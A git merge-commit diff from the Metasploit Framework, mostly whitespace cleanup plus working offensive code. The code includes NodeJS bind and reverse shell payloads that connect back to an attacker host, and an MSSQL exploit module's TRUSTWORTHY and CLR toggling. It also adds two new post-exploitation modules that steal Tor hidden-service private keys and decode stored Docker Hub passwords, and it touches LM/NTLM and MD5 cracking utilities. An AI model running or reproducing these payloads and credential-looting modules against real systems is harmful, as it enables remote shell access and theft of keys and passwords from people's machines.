Merge branch 'master' of https://github.com/rapid7/metasploit-framework into add_smb1_scanner

bug/bundler_fix
loftwing 2017-09-14 17:00:45 -05:00
commit e88b766276
24 changed files with 242 additions and 76 deletions

View File

@ -18,8 +18,13 @@ module Msf::Payload::NodeJS
var server = net.createServer(function(socket) { var server = net.createServer(function(socket) {
var sh = cp.spawn(cmd, []); var sh = cp.spawn(cmd, []);
socket.pipe(sh.stdin); socket.pipe(sh.stdin);
util.pump(sh.stdout, socket); if (typeof util.pump === "undefined") {
util.pump(sh.stderr, socket); sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
}); });
server.listen(#{datastore['LPORT']}); server.listen(#{datastore['LPORT']});
})(); })();
@ -53,8 +58,13 @@ module Msf::Payload::NodeJS
var client = this; var client = this;
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() { client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin); client.socket.pipe(sh.stdin);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket); util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket); util.pump(sh.stderr, client.socket);
}
}); });
})(); })();
EOS EOS

View File

@ -96,7 +96,13 @@ class MetasploitModule < Msf::Exploit::Remote
end end
def set_trustworthy(on) def set_trustworthy(on)
mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false) result = mssql_query("ALTER DATABASE [#{datastore['DATABASE']}] SET TRUSTWORTHY #{on ? 'ON' : 'OFF'}", false)
unless result[:errors].empty?
result[:errors].each do |err|
vprint_error(err)
end
fail_with(Failure::Unknown, "Failed to change Trustworthy setting")
end
end end
def is_trustworthy def is_trustworthy
@ -112,7 +118,13 @@ RECONFIGURE;
EXEC sp_configure 'clr enabled', #{enable ? 1 : 0}; EXEC sp_configure 'clr enabled', #{enable ? 1 : 0};
RECONFIGURE; RECONFIGURE;
^ ^
mssql_query(query, false) result = mssql_query(query, false)
unless result[:errors].empty?
result[:errors].each do |err|
vprint_error(err)
end
fail_with(Failure::Unknown, "Failed to change CLR setting")
end
end end
def is_clr_enabled def is_clr_enabled

View File

@ -41,3 +41,4 @@ class MetasploitModule < Msf::Nop
return ([nops[0]].pack("V*") * (length/4)) return ([nops[0]].pack("V*") * (length/4))
end end
end end

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule module MetasploitModule
CachedSize = 1843 CachedSize = 2351
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::NodeJS include Msf::Payload::NodeJS

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule module MetasploitModule
CachedSize = 1971 CachedSize = 2423
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::NodeJS include Msf::Payload::NodeJS

View File

@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell'
module MetasploitModule module MetasploitModule
CachedSize = 456 CachedSize = 583
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::NodeJS include Msf::Payload::NodeJS

View File

@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell'
module MetasploitModule module MetasploitModule
CachedSize = 488 CachedSize = 601
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::NodeJS include Msf::Payload::NodeJS

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule module MetasploitModule
CachedSize = 516 CachedSize = 629
include Msf::Payload::Single include Msf::Payload::Single
include Msf::Payload::NodeJS include Msf::Payload::NodeJS

View File

@ -0,0 +1,103 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# Adapted from post/linux/gather/enum_configs.rb
##
class MetasploitModule < Msf::Post
include Msf::Post::Linux::System
include Msf::Post::Linux::Priv
def initialize(info={})
super( update_info( info,
'Name' => 'Linux Gather TOR Hidden Services',
'Description' => %q{
This module collects the hostnames name and private keys of
any TOR Hidden Services running on the target machine. It
will search for torrc and if found, will parse it for the
directories of Hidden Services. However, root permissions
are required to read them as they are owned by the user that
TOR runs as, usually a separate account.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Harvey Phillips <xcellerator[at]gmx.com>',
],
'Platform' => ['linux'],
'SessionTypes' => ['shell', 'meterpreter']
))
end
def run
distro = get_sysinfo
h = get_host
print_status("Running module against #{h}")
print_status("Info:")
print_status("\t#{distro[:version]}")
print_status("\t#{distro[:kernel]}")
print_status("Looking for torrc...")
find_torrc
end
def save(file, data, ltype, ctype="text/plain")
fname = ::File.basename(file)
loot = store_loot(ltype, ctype, session, data, fname)
print_status("#{fname} stored in #{loot.to_s}")
end
def get_host
case session.type
when /meterpreter/
host = sysinfo["Computer"]
when /shell/
host = cmd_exec("hostname").chomp
end
return host
end
def find_torrc
config = cmd_exec("locate 'torrc' | grep -v 'torrc.5.gz'").split("\n")
if config.length == 0
print_error ("No torrc file found, maybe it goes by a different name?")
else
hidden = Array.new
# For every torrc file found, parse them for HiddenServiceDir
config.each do |c|
print_good("Torrc file found at #{c}")
services = cmd_exec("cat #{c} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n")
# For each HiddenServiceDir found in the torrc(s), push them to the hidden array
services.each do |s|
hidden.push(s)
end
end
# Remove any duplicate entries
hidden = hidden.uniq
# If hidden is empty, then no Hidden Services are running.
if hidden.length != 0
print_good("#{hidden.length} hidden services have been found!")
else
print_bad("No hidden services were found!")
end
if is_root?
# For all the Hidden Services found, loot hostname file
hidden.each do |f|
output = read_file("#{f}hostname")
save(f, output, "tor.#{f.split("/")[-1]}.hostname") if output && output !~ /No such file or directory/
end
# For all the Hidden Services found, loot private_key file
hidden.each do |f|
output = read_file("#{f}private_key")
save(f, output, "tor.#{f.split("/")[-1]}.privatekey") if output && output !~ /No such file or directory/
end
else
print_error("Hidden Services were found, but we need root to access the directories")
end
end
end
end

View File

@ -0,0 +1,93 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'json'
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
def initialize(info={})
super( update_info(info,
'Name' => 'Multi Gather Docker Credentials Collection',
'Description' => %q{
This module will collect the contents of all users' .docker directories on the targeted
machine. If the user has already push to docker hub, chances are that the password was
saved in base64 (default behavior).
},
'License' => MSF_LICENSE,
'Author' => ['Flibustier'],
'Platform' => %w{ bsd linux osx unix },
'SessionTypes' => ['shell']
))
end
# This module is largely based on gpg_creds.rb.
def run
print_status("Finding .docker directories")
paths = enum_user_directories.map {|d| d + "/.docker"}
# Array#select! is only in 1.9
paths = paths.select { |d| directory?(d) }
if paths.nil? || paths.empty?
print_error("No users found with a .docker directory")
return
end
download_loot(paths)
end
def download_loot(paths)
print_status("Looting #{paths.count} directories")
paths.each do |path|
path.chomp!
file = "config.json"
target = "#{path}/#{file}"
if file? target
print_status("Downloading #{target} -> #{file}")
extract(target)
end
end
end
def extract(target)
file = read_file(target)
parsed = JSON.parse(file)
if parsed["auths"]
parsed["auths"].each do |key, value|
vprint_status("key: #{key}")
value.each do |k,v|
if k == "auth"
plain = Rex::Text.decode_base64(v)
if plain.include? ":"
print_good("Found #{plain}")
username, password = plain.split(':')
credential_data = {
origin_type: :import,
module_fullname: self.fullname,
filename: target,
workspace_id: myworkspace_id,
service_name: 'docker',
realm_value: key,
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
private_type: :password,
private_data: password,
username: username
}
create_credential(credential_data)
print_good("Saved credentials")
end
end
end
end
else
print_status("No credentials found in config file")
end
end
end

View File

@ -29,7 +29,7 @@ class MetasploitModule < Msf::Post
# Array#select! is only in 1.9 # Array#select! is only in 1.9
paths = paths.select { |d| directory?(d) } paths = paths.select { |d| directory?(d) }
if paths.nil? or paths.empty? if paths.nil? || paths.empty?
print_error("No users found with a .gnupg directory") print_error("No users found with a .gnupg directory")
return return
end end
@ -49,7 +49,7 @@ class MetasploitModule < Msf::Post
if directory?(target) if directory?(target)
next next
end end
print_status("Downloading #{path}#{sep}#{file} -> #{file}") print_status("Downloading #{target} -> #{file}")
data = read_file(target) data = read_file(target)
file = file.split(sep).last file = file.split(sep).last
type = file.gsub(/\.gpg.*/, "").gsub(/gpg\./, "") type = file.gsub(/\.gpg.*/, "").gsub(/gpg\./, "")

2
msfd
View File

@ -19,8 +19,6 @@ end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
require 'msfenv' require 'msfenv'
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
require 'msf/base' require 'msf/base'

4
msfrpc
View File

@ -17,8 +17,6 @@ end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
require 'msfenv' require 'msfenv'
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
require 'rex/parser/arguments' require 'rex/parser/arguments'
@ -59,7 +57,6 @@ arguments.parse(ARGV) do |opt, idx, val|
end end
end end
unless opts['ServerHost'] unless opts['ServerHost']
$stderr.puts "[-] Error: a server IP must be specified (-a)" $stderr.puts "[-] Error: a server IP must be specified (-a)"
$stderr.puts arguments.usage $stderr.puts arguments.usage
@ -93,4 +90,3 @@ while(ARGV.shift)
end end
Rex::Ui::Text::IrbShell.new(binding).run Rex::Ui::Text::IrbShell.new(binding).run

View File

@ -17,8 +17,6 @@ end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
require 'msfenv' require 'msfenv'
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
require 'rex/parser/arguments' require 'rex/parser/arguments'

View File

@ -16,7 +16,6 @@ require 'msf/ui'
require 'msf/base' require 'msf/base'
require 'msf/core/payload_generator' require 'msf/core/payload_generator'
class MsfVenomError < StandardError; end class MsfVenomError < StandardError; end
class HelpError < StandardError; end class HelpError < StandardError; end
class UsageError < MsfVenomError; end class UsageError < MsfVenomError; end

View File

@ -79,7 +79,6 @@ class CPassword
end end
end end
# #
# Shows script usage # Shows script usage
# #
@ -88,7 +87,6 @@ def usage
exit exit
end end
# #
# Prints a status message # Prints a status message
# #
@ -96,7 +94,6 @@ def print_status(msg='')
$stderr.puts "[*] #{msg}" $stderr.puts "[*] #{msg}"
end end
# #
# Prints an error message # Prints an error message
# #
@ -104,7 +101,6 @@ def print_error(msg='')
$stderr.puts "[-] #{msg}" $stderr.puts "[-] #{msg}"
end end
# #
# Prints a good message # Prints a good message
# #
@ -112,7 +108,6 @@ def print_good(msg='')
$stderr.puts "[+] #{msg}" $stderr.puts "[+] #{msg}"
end end
# #
# main # main
# #

View File

@ -39,7 +39,6 @@ $args = Rex::Parser::Arguments.new(
"-s" => [ true, "The server challenge (default value 1122334455667788)" ], "-s" => [ true, "The server challenge (default value 1122334455667788)" ],
"-h" => [ false, "Display this help information" ]) "-h" => [ false, "Display this help information" ])
$args.parse(ARGV) { |opt, idx, val| $args.parse(ARGV) { |opt, idx, val|
case opt case opt
when "-n" when "-n"
@ -81,8 +80,6 @@ if(pass.length != 7)
exit exit
end end
pass = pass.upcase pass = pass.upcase
hash = hash.downcase hash = hash.downcase
@ -123,7 +120,6 @@ end
end end
end end
puts "[*] Trying four characters (eta: #{etime * cset.length * cset.length * cset.length} seconds)..." puts "[*] Trying four characters (eta: #{etime * cset.length * cset.length * cset.length} seconds)..."
0.upto(cset.length-1) do |c1| 0.upto(cset.length-1) do |c1|
0.upto(cset.length-1) do |c2| 0.upto(cset.length-1) do |c2|

View File

@ -29,7 +29,6 @@ def usage
exit exit
end end
hash_inp = ARGV.shift || usage() hash_inp = ARGV.shift || usage()
word_inp = ARGV.shift || usage() word_inp = ARGV.shift || usage()
@ -59,7 +58,6 @@ hash_fd.each_line do |line|
end end
hash_fd.close hash_fd.close
stime = Time.now.to_f stime = Time.now.to_f
count = 0 count = 0
cracked = 0 cracked = 0

View File

@ -70,7 +70,6 @@ $args = Rex::Parser::Arguments.new(
"-d" => [ true, "The domain (machine) name (NETLMv2/NETNTLMv2 type only)" ], "-d" => [ true, "The domain (machine) name (NETLMv2/NETNTLMv2 type only)" ],
"-h" => [ false, "Display this help information" ]) "-h" => [ false, "Display this help information" ])
$args.parse(ARGV) { |opt, idx, val| $args.parse(ARGV) { |opt, idx, val|
case opt case opt
when "-t" when "-t"
@ -122,7 +121,6 @@ else
end end
end end
if type == "HALFLM" or type == "LM" or type == "NTLM" then if type == "HALFLM" or type == "LM" or type == "NTLM" then
if srvchal != nil or clichal != nil or user != nil or domain != nil then if srvchal != nil or clichal != nil or user != nil or domain != nil then
$stderr.puts "[*] No challenge, user or domain must be provided with this type" $stderr.puts "[*] No challenge, user or domain must be provided with this type"
@ -872,5 +870,3 @@ else
$stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2" $stderr.puts "type must be of type : HALFLM/LM/NTLM/HALFNETLMv1/NETLMv1/NETNTLMv1/NETNTLM2_SESSION/NETLMv2/NETNTLMv2"
exit exit
end end

View File

@ -37,7 +37,6 @@ require 'rex'
require 'msf/core' require 'msf/core'
require 'optparse' require 'optparse'
# #
# Basic prints we can't live without # Basic prints we can't live without
# #
@ -71,7 +70,6 @@ module Md5LookupUtility
# @return [String] The name of the tool # @return [String] The name of the tool
attr_accessor :group_name attr_accessor :group_name
def initialize def initialize
self.config_file = Msf::Config.config_file self.config_file = Msf::Config.config_file
self.group_name = 'MD5Lookup' self.group_name = 'MD5Lookup'
@ -93,7 +91,6 @@ module Md5LookupUtility
end end
end end
# Saves the waiver so the warning won't show again after ack # Saves the waiver so the warning won't show again after ack
# #
# @return [void] # @return [void]
@ -101,7 +98,6 @@ module Md5LookupUtility
save_setting('waiver', true) save_setting('waiver', true)
end end
# Returns true if we don't have to show the warning again # Returns true if we don't have to show the warning again
# #
# @return [Boolean] # @return [Boolean]
@ -109,7 +105,6 @@ module Md5LookupUtility
load_setting('waiver') == 'true' ? true : false load_setting('waiver') == 'true' ? true : false
end end
private private
# Saves a setting to Metasploit's config file # Saves a setting to Metasploit's config file
@ -124,7 +119,6 @@ module Md5LookupUtility
ini.to_file(self.config_file) ini.to_file(self.config_file)
end end
# Returns the value of a specific setting # Returns the value of a specific setting
# #
# @param key_name [String] The name of the setting # @param key_name [String] The name of the setting
@ -177,7 +171,6 @@ module Md5LookupUtility
) )
end end
# Returns the found cracked MD5 hash # Returns the found cracked MD5 hash
# #
# @param md5_hash [String] The MD5 hash to lookup # @param md5_hash [String] The MD5 hash to lookup
@ -192,10 +185,8 @@ module Md5LookupUtility
get_json_result(res) get_json_result(res)
end end
private private
# Parses the cracked result from a JSON input # Parses the cracked result from a JSON input
# @param res [Rex::Proto::Http::Response] The Rex HTTP response # @param res [Rex::Proto::Http::Response] The Rex HTTP response
# @return [String] Found cracked MD5 hash # @return [String] Found cracked MD5 hash
@ -217,7 +208,6 @@ module Md5LookupUtility
end end
# This class parses the user-supplied options (inputs) # This class parses the user-supplied options (inputs)
class OptsConsole class OptsConsole
@ -275,10 +265,8 @@ module Md5LookupUtility
options options
end end
private private
# Returns the parsed options from ARGV # Returns the parsed options from ARGV
# #
# raise [OptionParser::InvalidOption] Invalid option found # raise [OptionParser::InvalidOption] Invalid option found
@ -317,7 +305,6 @@ module Md5LookupUtility
return parser, options return parser, options
end end
# Returns the actual database names based on what the user wants # Returns the actual database names based on what the user wants
# #
# @param list [String] A list of user-supplied database names # @param list [String] A list of user-supplied database names
@ -339,7 +326,6 @@ module Md5LookupUtility
new_db_list new_db_list
end end
# Returns a list of all of the supported database symbols # Returns a list of all of the supported database symbols
# #
# @return [Array<Symbol>] Database symbols # @return [Array<Symbol>] Database symbols
@ -357,7 +343,6 @@ module Md5LookupUtility
end end
end end
# This class decides how this process works # This class decides how this process works
class Driver class Driver
@ -379,7 +364,6 @@ module Md5LookupUtility
end end
end end
# Main function # Main function
# #
# @return [void] # @return [void]
@ -403,7 +387,6 @@ module Md5LookupUtility
end end
end end
# Cleans up the output file handler if exists # Cleans up the output file handler if exists
# #
# @return [void] # @return [void]
@ -411,10 +394,8 @@ module Md5LookupUtility
@output_handle.close if @output_handle @output_handle.close if @output_handle
end end
private private
# Saves the MD5 result to file # Saves the MD5 result to file
# #
# @param result [Hash] The result that contains the MD5 information # @param result [Hash] The result that contains the MD5 information
@ -472,7 +453,6 @@ module Md5LookupUtility
end end
# #
# main # main
# #

View File

@ -1,3 +1,5 @@
#!/usr/bin/env ruby
#
# $Id$ # $Id$
# #
# This script can be used to calculate hash values for VxWorks passwords. # This script can be used to calculate hash values for VxWorks passwords.
@ -15,7 +17,6 @@ def hashit(inp)
hackit(sum) hackit(sum)
end end
def hackit(sum) def hackit(sum)
magic = 31695317 magic = 31695317
res = ((sum * magic) & 0xffffffff).to_s res = ((sum * magic) & 0xffffffff).to_s
@ -29,4 +30,3 @@ end
input = ARGV.shift || "flintstone" input = ARGV.shift || "flintstone"
$stderr.puts "[*] Hash for password '#{input}' is #{hashit(input)}" $stderr.puts "[*] Hash for password '#{input}' is #{hashit(input)}"

View File

@ -12,7 +12,6 @@
# $Revision$ # $Revision$
# #
# VxWorks converts the clear-text password into single integer value. This value # VxWorks converts the clear-text password into single integer value. This value
# can only be one of about 210,000 possible options. The method below emulates # can only be one of about 210,000 possible options. The method below emulates
# what the vxencrypt utility does and was implemented based on publicly indexed # what the vxencrypt utility does and was implemented based on publicly indexed
@ -128,7 +127,6 @@ seeds = []
end end
seedsets << seeds seedsets << seeds
seeds = [] seeds = []
8.upto(12) do |slen| 8.upto(12) do |slen|
0x23.upto(0x7c) do |cset| 0x23.upto(0x7c) do |cset|
@ -165,7 +163,6 @@ seeds = []
end end
seedsets << seeds seedsets << seeds
# Calculate passwords and their hashes for all possible outputs # Calculate passwords and their hashes for all possible outputs
1.upto(209656) do |i| 1.upto(209656) do |i|
found = false found = false
@ -200,4 +197,3 @@ seedsets << seeds
exit(0) exit(0)
end end
end end

View File

@ -19,7 +19,6 @@ require 'msfenv'
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
if RUBY_PLATFORM == "i386-mingw32" if RUBY_PLATFORM == "i386-mingw32"
begin begin
require 'network_interface' require 'network_interface'

View File

@ -12,18 +12,17 @@
# mubix # mubix
# #
msfbase = __FILE__ msfbase = __FILE__
while File.symlink?(msfbase) while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib'))) $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', '..', 'lib')))
require 'msfenv' require 'msfenv'
require 'rex' require 'rex'
require 'optparse' require 'optparse'
class OptsConsole class OptsConsole
def self.parse(args) def self.parse(args)
options = {'output' => 'iplist.txt'} options = {'output' => 'iplist.txt'}
@ -78,7 +77,6 @@ Usage: #{__FILE__} [options]|
end end
end end
# #
# Prints IPs # Prints IPs
# #
@ -91,7 +89,6 @@ def make_list(in_f, out_f)
end end
end end
# #
# Returns file handles # Returns file handles
# #
@ -106,7 +103,6 @@ def load_files(in_f, out_f)
return handle_in, handle_out return handle_in, handle_out
end end
options = OptsConsole.parse(ARGV) options = OptsConsole.parse(ARGV)
in_f, out_f = load_files(options['input'], options['output']) in_f, out_f = load_files(options['input'], options['output'])